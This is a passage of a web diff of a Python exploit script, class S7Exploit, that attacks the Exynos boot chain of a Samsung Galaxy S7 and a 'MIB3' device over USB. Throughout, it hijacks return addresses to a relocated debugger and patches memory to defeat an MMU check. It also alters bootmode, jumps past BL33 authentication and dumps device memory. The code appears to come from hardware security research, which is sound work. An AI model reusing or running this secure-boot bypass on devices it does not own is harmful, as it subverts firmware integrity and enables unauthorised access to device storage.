self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../../dump/rom.bin.1.bin", "rb").read())
|
||||
# wait_disconnect()
|
||||
self.send_normal_stage(bl1)
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
|
||||
# wait_disconnect()
|
||||
self.send_normal_stage(bl31)
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
|
||||
# wait_disconnect()
|
||||
self.send_normal_stage(bl2)
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
||||
self.send_normal_stage(bl33)
|
||||
pass
|
||||
|
||||
|
||||
@ -175,6 +178,22 @@ class S7Exploit(ExynosDevice):
|
||||
return
|
||||
|
||||
|
||||
def usb_write(self, data):
|
||||
assert len(data) <= 0x200, "Data too big"
|
||||
transferred = ctypes.c_int()
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300)
|
||||
|
||||
assert res == 0, f"Error sending data {res}"
|
||||
assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}"
|
||||
return transferred.value
|
||||
|
||||
|
||||
def usb_read(self, size):
|
||||
transferred = ctypes.c_int()
|
||||
buf = ctypes.c_buffer(b"", size)
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300)
|
||||
assert res == 0, f"Error receiving data {res}"
|
||||
return buf.raw[:transferred.value]
|
||||
|
||||
|
||||
def setup_concrete_device(self, concrete_device : ConcreteDevice):
|
||||
@ -538,6 +557,19 @@ class S7Exploit(ExynosDevice):
|
||||
print(f'Jumped to {hex(address)} and back')
|
||||
|
||||
|
||||
def print_registry_status(self):
|
||||
"""Print potentially interesting registry status (statii?) of the device"""
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
|
||||
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
|
||||
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
|
||||
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
|
||||
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
|
||||
|
||||
|
||||
|
||||
def debugger_boot(self):
|
||||
"""
|
||||
Boot into USB recovery mode using the debugger.
|
||||
@ -550,34 +582,23 @@ class S7Exploit(ExynosDevice):
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
||||
|
||||
# Dump contents of TTBR0_EL3 from memory into a pandas dataframe and write it to a pickle file
|
||||
#import pandas as pd
|
||||
#blub = self.cd.memdump_region(0x02035000, 0x1000)
|
||||
#try:
|
||||
# df = pd.read_pickle('ttbr0_el3.pkl')
|
||||
# # Concat data to existing dataframe
|
||||
# df = pd.concat([df, pd.Series([blub])], ignore_index=True)
|
||||
#except:
|
||||
# df = pd.DataFrame()
|
||||
# df['TTBR0_EL3'] = [blub]
|
||||
#df.to_pickle('ttbr0_el3.pkl')
|
||||
|
||||
# Relocate debugger
|
||||
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
|
||||
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11203000, g_data_received=0x11204000)
|
||||
DEBUGGER_ADDR = 0x11200000
|
||||
|
||||
# Load bootloader stages
|
||||
|
||||
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
|
||||
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
|
||||
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
|
||||
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
||||
if args.MIB3:
|
||||
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
|
||||
bl1 = open("../mib3/modified_boot/fwbl1_mod.bin", "rb").read()
|
||||
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
|
||||
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
|
||||
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
|
||||
#bl33 = open("../mib3/modified_boot/u-boot_mod.bin", "rb").read()
|
||||
|
||||
# Test debugger connection
|
||||
self.cd.test_connection()
|
||||
@ -643,7 +664,7 @@ class S7Exploit(ExynosDevice):
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
# Get current LR, and store it. Then set LR to debugger.
|
||||
lr = self.cd.arch_dbg.state.LR
|
||||
BL1_RA = self.cd.arch_dbg.state.LR
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it)
|
||||
|
||||
@ -659,33 +680,35 @@ class S7Exploit(ExynosDevice):
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to restore the oginal boot flow, without getting back to the debugger
|
||||
|
||||
# Set LR to continue boot flow
|
||||
self.cd.restore_stack_and_jump(lr)
|
||||
self.cd.restore_stack_and_jump(BL1_RA)
|
||||
|
||||
# Assure return to debugger
|
||||
time.sleep(2)
|
||||
self.usb_read(0x200) # GiAs
|
||||
# self.cd.memwrite_region(0x02031008, b"ELH")
|
||||
# self.cd.memwrite_region(0x02031008, b"ELH") # Patch something in BL31
|
||||
|
||||
# Get pointer to BL31
|
||||
BL31_POINTER = self.cd.arch_dbg.state.LR
|
||||
# Get pointer to where BL31 returns to
|
||||
BL31_RA_PTR = self.cd.arch_dbg.state.LR
|
||||
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
TTBR0_EL3 = 0x02035600 # Zeroed out
|
||||
|
||||
# Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
|
||||
MMU_CHECK = 0x020244e8
|
||||
if args.MIB3:
|
||||
MMU_CHECK = 0x0202a314
|
||||
MMU_CHECK = 0x0202a314
|
||||
if not args.MIB3:
|
||||
MMU_CHECK = 0x020244e8
|
||||
self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
|
||||
|
||||
# DWC3 OTG update mode -> Might be useful at some point?
|
||||
# self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
|
||||
|
||||
# Jump into BL31 and execute it
|
||||
#BL31_POINTER = 0x02024010
|
||||
#if args.MIB3:
|
||||
# BL31_POINTER = 0x020c0000
|
||||
self.cd.restore_stack_and_jump(BL31_POINTER)
|
||||
BL31_POINTER = 0x02024010
|
||||
if args.MIB3:
|
||||
BL31_POINTER = 0x0202a010
|
||||
self.cd.restore_stack_and_jump(BL31_POINTER) #BL31_RA_PTR
|
||||
else:
|
||||
self.cd.restore_stack_and_jump(BL31_POINTER)
|
||||
|
||||
# Obligatory reconnect and check of debugger
|
||||
time.sleep(2)
|
||||
@ -693,23 +716,21 @@ class S7Exploit(ExynosDevice):
|
||||
self.usb_read(0x200) # GiAs
|
||||
BL31_ra = self.cd.arch_dbg.state.LR
|
||||
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
|
||||
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
|
||||
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
|
||||
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
|
||||
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
|
||||
self.print_registry_status()
|
||||
|
||||
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (?->memory overlap somewhere). Only with relocated debugger.
|
||||
# self.cd.arch_dbg.fetch_special_regs() # -> Does not work with, "--MIB3" original debugger (?->memory overlap somewhere). Only with relocated debugger.
|
||||
VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3
|
||||
|
||||
self.test_write_execute(0x11207010)
|
||||
|
||||
#if args.MIB3:
|
||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
if args.MIB3:
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
self.cd.memwrite_region(0x020553e4, b"\x1f\x50\x00\x71")
|
||||
self.cd.memwrite_region(0x020553f8, b"\x1f\x50\x00\x71")
|
||||
|
||||
self.cd.restore_stack_and_jump(hijacked_fun) # Jumps to function that waits for next boot stage
|
||||
|
||||
# ==== Stage 4 BL2 ====
|
||||
self.send_normal_stage(bl2)
|
||||
@ -717,52 +738,116 @@ class S7Exploit(ExynosDevice):
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||
print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
|
||||
print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
|
||||
print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
|
||||
print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
|
||||
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
|
||||
self.print_registry_status()
|
||||
|
||||
# Restore bootflow
|
||||
print(self.cd.arch_dbg.state.print_ctx())
|
||||
print(self.cd.arch_dbg.state.print_ctx()) # X29 here determines where the 'authentication' is taking place
|
||||
BL33_ptr = self.cd.arch_dbg.state.X0
|
||||
BL33_LR = self.cd.arch_dbg.state.LR
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
|
||||
# Disable this to keep access to the debugger after senindg the next stage
|
||||
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
|
||||
|
||||
#self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
|
||||
|
||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
time.sleep(1)
|
||||
self.connect_device()
|
||||
|
||||
# Add 00 to the end of bl33
|
||||
#bl33 += b"\x00"
|
||||
|
||||
self.send_normal_stage(bl33) # Never return/completes
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.usb_read(0x200)
|
||||
|
||||
# print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
|
||||
# off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
|
||||
# stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
|
||||
# Change bootmode on S7 to SDCARD (allow normal booting, if pressing volume up)
|
||||
if not args.MIB3:
|
||||
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
|
||||
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
|
||||
|
||||
# Change bootmode to SDCARD (allow normal booting, if pressing volume up)
|
||||
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
|
||||
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
|
||||
|
||||
# Move default values into registers
|
||||
self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
|
||||
self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
|
||||
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
|
||||
# Move default values into registers
|
||||
self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
|
||||
self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
|
||||
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
|
||||
|
||||
# Jump into a different function that continues the boot flow (different than BL33_LR)
|
||||
self.cd.restore_stack_and_jump(0x02024e5c)
|
||||
BL33_AUTH = 0x02024e5c
|
||||
if args.MIB3:
|
||||
self.cd.memwrite_region(0xcf08aa59, b"\x4c\x44\x46\x58") #58 was 57 in INIT print
|
||||
self.cd.memwrite_region(0xcf026b94, struct.pack('>I', 0x210000b4)) # Change bootmode to GPT
|
||||
BL33_AUTH = 0x202ae18 # BL33_LR
|
||||
|
||||
# Modifying return values to continue boot flow
|
||||
#self.cd.memwrite_region(0xcf05dea8, b"\xa0\x1f\x42\xf8")
|
||||
|
||||
# Print boot info from cf4dfb28
|
||||
print(self.cd.memdump_region(0xcf4dfb28, 0x32))
|
||||
|
||||
# Start boot from BL33
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
self.cd.restore_stack_and_jump(BL33_AUTH)
|
||||
|
||||
time.sleep(1)
|
||||
self.usb_read(0x200)
|
||||
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
self.cd.arch_dbg.state.X0 = 0x0
|
||||
self.cd.restore_stack_and_jump(0xcf05dd00)
|
||||
self.connect_device()
|
||||
self.usb_read(0x200)
|
||||
|
||||
# Print something over uart
|
||||
self.write_uart(DEBUGGER_ADDR, 0xcf4dfb58)
|
||||
|
||||
# Try to continue the bootflow
|
||||
self.cd.restore_stack_and_jump(0xcf0052f8)
|
||||
|
||||
|
||||
# NOT WORKING
|
||||
self.read_ufs(DEBUGGER_ADDR)
|
||||
|
||||
pass
|
||||
|
||||
|
||||
def write_uart(self, DEBUGGER_ADDR, data_pointer):
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
curr_X0 = self.cd.arch_dbg.state.X0
|
||||
curr_X1 = self.cd.arch_dbg.state.X1
|
||||
|
||||
self.cd.arch_dbg.state.X0 = data_pointer
|
||||
self.cd.arch_dbg.state.X1 = 0x0
|
||||
|
||||
self.cd.restore_stack_and_jump(0xcf05dd6c)
|
||||
time.sleep(0.5)
|
||||
self.connect_device()
|
||||
self.usb_read(0x200)
|
||||
|
||||
self.cd.arch_dbg.state.X0 = curr_X0
|
||||
self.cd.arch_dbg.state.X1 = curr_X1
|
||||
return
|
||||
|
||||
|
||||
|
||||
def read_ufs(self, DEBUGGER_ADDR):
|
||||
"""
|
||||
Read UFS
|
||||
|
||||
Argument structure is: param1, param2[]. With param2 being the cmd list
|
||||
param1 = offset
|
||||
"""
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
ufs_read_addr = 0xcf00eaf4
|
||||
self.cd.arch_dbg.state.X0 = 0x0
|
||||
self.cd.arch_dbg.state.X1 = 0x1
|
||||
self.cd.restore_stack_and_jump(ufs_read_addr)
|
||||
|
||||
time.sleep(1)
|
||||
self.connect_device()
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
arg = argparse.ArgumentParser("Exynos exploit")
|
||||
|
||||
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Loading…
Reference in New Issue
Block a user